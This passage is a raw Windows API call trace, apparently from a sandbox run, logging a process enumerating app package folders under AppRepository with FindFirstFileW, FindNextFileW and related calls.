Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.SkypeApp_3.2.1.0_neutral_~_kzf8qxf38zg5c", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.SkypeApp_3.2.1.0_neutral_~_kzf8qxf38zg5c") returned 0x6e [0220.659] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.SkypeApp_3.2.1.0_neutral_~_kzf8qxf38zg5c", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.SkypeApp_3.2.1.0_neutral_~_kzf8qxf38zg5c") returned 0x6e [0220.660] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.SkypeApp_3.2.1.0_neutral_~_kzf8qxf38zg5c\\", lpszLongPath=0x1b0ba790, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.SkypeApp_3.2.1.0_neutral_~_kzf8qxf38zg5c\\") returned 0x6f [0220.661] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.SkypeApp_3.2.1.0_neutral_~_kzf8qxf38zg5c\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.skypeapp_3.2.1.0_neutral_~_kzf8qxf38zg5c\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa46c2a69, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xd4b5ef4d, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xd4b5ef4d, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f3fd0 [0220.663] FindNextFileW (in: hFindFile=0x1d1f3fd0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa46c2a69, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xd4b5ef4d, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xd4b5ef4d, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.664] FindNextFileW (in: hFindFile=0x1d1f3fd0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2454b2e, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xf2454b2e, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xf24ed57a, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x390, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0220.665] FindNextFileW (in: hFindFile=0x1d1f3fd0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0220.666] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.SkypeApp_3.2.1.0_neutral_~_kzf8qxf38zg5c", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.SkypeApp_3.2.1.0_neutral_~_kzf8qxf38zg5c") returned 0x6e [0220.667] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.SkypeApp_3.2.1.0_neutral_~_kzf8qxf38zg5c", lpszLongPath=0x1b0ba7b0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.SkypeApp_3.2.1.0_neutral_~_kzf8qxf38zg5c") returned 0x6e [0220.668] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.SkypeApp_3.2.1.0_neutral_~_kzf8qxf38zg5c\\", lpszLongPath=0x1b0ba790, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.SkypeApp_3.2.1.0_neutral_~_kzf8qxf38zg5c\\") returned 0x6f [0220.669] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.SkypeApp_3.2.1.0_neutral_~_kzf8qxf38zg5c\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.skypeapp_3.2.1.0_neutral_~_kzf8qxf38zg5c\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa46c2a69, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xd4b5ef4d, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xd4b5ef4d, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4150 [0220.670] FindNextFileW (in: hFindFile=0x1d1f4150, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa46c2a69, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xd4b5ef4d, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xd4b5ef4d, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.670] FindNextFileW (in: hFindFile=0x1d1f4150, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2454b2e, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xf2454b2e, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xf24ed57a, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x390, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0220.671] FindNextFileW (in: hFindFile=0x1d1f4150, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2454b2e, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xf2454b2e, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xf24ed57a, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x390, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 0 [0220.671] FindClose (in: hFindFile=0x1d1f4150 | out: hFindFile=0x1d1f4150) returned 1 [0220.674] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0220.674] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.SkypeApp_3.2.1.0_x86__kzf8qxf38zg5c\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.skypeapp_3.2.1.0_x86__kzf8qxf38zg5c\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa46e8c39, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xa46e8c39, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xd4b5ef4d, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4450 [0220.677] FindNextFileW (in: hFindFile=0x1d1f4450, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa46e8c39, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xa46e8c39, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xd4b5ef4d, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.677] FindNextFileW (in: hFindFile=0x1d1f4450, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf22fd6b9, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xf22fd6b9, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xf2396181, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x3e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0220.678] FindNextFileW (in: hFindFile=0x1d1f4450, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0220.679] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.SkypeApp_3.2.1.0_x86__kzf8qxf38zg5c\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.skypeapp_3.2.1.0_x86__kzf8qxf38zg5c\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa46e8c39, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xd4b5ef4d, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xd4b5ef4d, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4150 [0220.681] FindNextFileW (in: hFindFile=0x1d1f4150, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa46e8c39, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xd4b5ef4d, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xd4b5ef4d, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.681] FindNextFileW (in: hFindFile=0x1d1f4150, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf22fd6b9, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xf22fd6b9, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xf2396181, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x3e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0220.682] FindNextFileW (in: hFindFile=0x1d1f4150, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf22fd6b9, ftCreationTime.dwHighDateTime=0x1d70070, ftLastAccessTime.dwLowDateTime=0xf22fd6b9, ftLastAccessTime.dwHighDateTime=0x1d70070, ftLastWriteTime.dwLowDateTime=0xf2396181, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x3e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 0 [0220.682] FindClose (in: hFindFile=0x1d1f4150 | out: hFindFile=0x1d1f4150) returned 1 [0220.683] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0220.683] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.vclibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9143e393, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x9143e393, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x9143e393, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5350 [0220.684] FindNextFileW (in: hFindFile=0x1d1f5350, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9143e393, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x9143e393, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x9143e393, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.685] FindNextFileW (in: hFindFile=0x1d1f5350, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9143e393, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x9143e393, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x9143e393, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0220.685] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.vclibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9143e393, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x9143e393, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x9143e393, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4ed0 [0220.686] FindNextFileW (in: hFindFile=0x1d1f4ed0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9143e393, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x9143e393, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x9143e393, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.686] FindNextFileW (in: hFindFile=0x1d1f4ed0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9143e393, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x9143e393, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x9143e393, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0220.687] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.vclibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91143404, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x91143404, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x91143404, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f47b0 [0220.688] FindNextFileW (in: hFindFile=0x1d1f47b0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91143404, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x91143404, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x91143404, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.689] FindNextFileW (in: hFindFile=0x1d1f47b0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91143404, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x91143404, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x91143404, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0220.689] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.vclibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91143404, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x91143404, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x91143404, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4690 [0220.690] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91143404, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x91143404, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x91143404, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.690] FindNextFileW (in: hFindFile=0x1d1f4690, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91143404, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x91143404, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x91143404, ftLastWriteTime.dwHighDateTime=0x1d700aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0220.691] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.VCLibs.140.00_14.0.22929.0_x64__8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.vclibs.140.00_14.0.22929.0_x64__8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9280fbf2, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x9280fbf2, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xdc26d7fb, ftLastWriteTime.dwHighDateTime=0x1d70070, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4db0 [0220.977] FindNextFileW (in: hFindFile=0x1d1f5530, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b20ef63, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5b20ef63, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5b20ef63, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x3cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep", cAlternateFileName="S-1-5-~1.PCK")) returned 1 [0220.977] FindNextFileW (in: hFindFile=0x1d1f5530, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a184a20, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5a184a20, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a184a20, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x4ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 1 [0220.977] FindNextFileW (in: hFindFile=0x1d1f5530, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0220.977] FindClose (in: hFindFile=0x1d1f5530 | out: hFindFile=0x1d1f5530) returned 1 [0220.978] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0bac20) returned 1 [0220.978] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b0babe0) returned 1 [0220.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b0bacf0) returned 1 [0220.978] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-100_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1b0ba7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-100_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x8a [0220.978] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-100_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.photos_15.1001.16470.0_neutral_split.scale-100_8wekyb3d8bbwe\\*"), lpFindFileData=0x1b0baa00 | out: lpFindFileData=0x1b0baa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5d8f1f1, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x5b20ef63, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5b20ef63, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f3fd0 [0220.980] FindNextFileW (in: hFindFile=0x1d1f3fd0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5d8f1f1, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x5b20ef63, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5b20ef63, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.980] FindNextFileW (in: hFindFile=0x1d1f3fd0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a184a20, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5a184a20, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a21d419, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x4ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0220.980] FindNextFileW (in: hFindFile=0x1d1f3fd0, lpFindFileData=0x1b0ba9c0 | out: lpFindFileData=0x1b0ba9c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b20ef63, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5b20ef63, 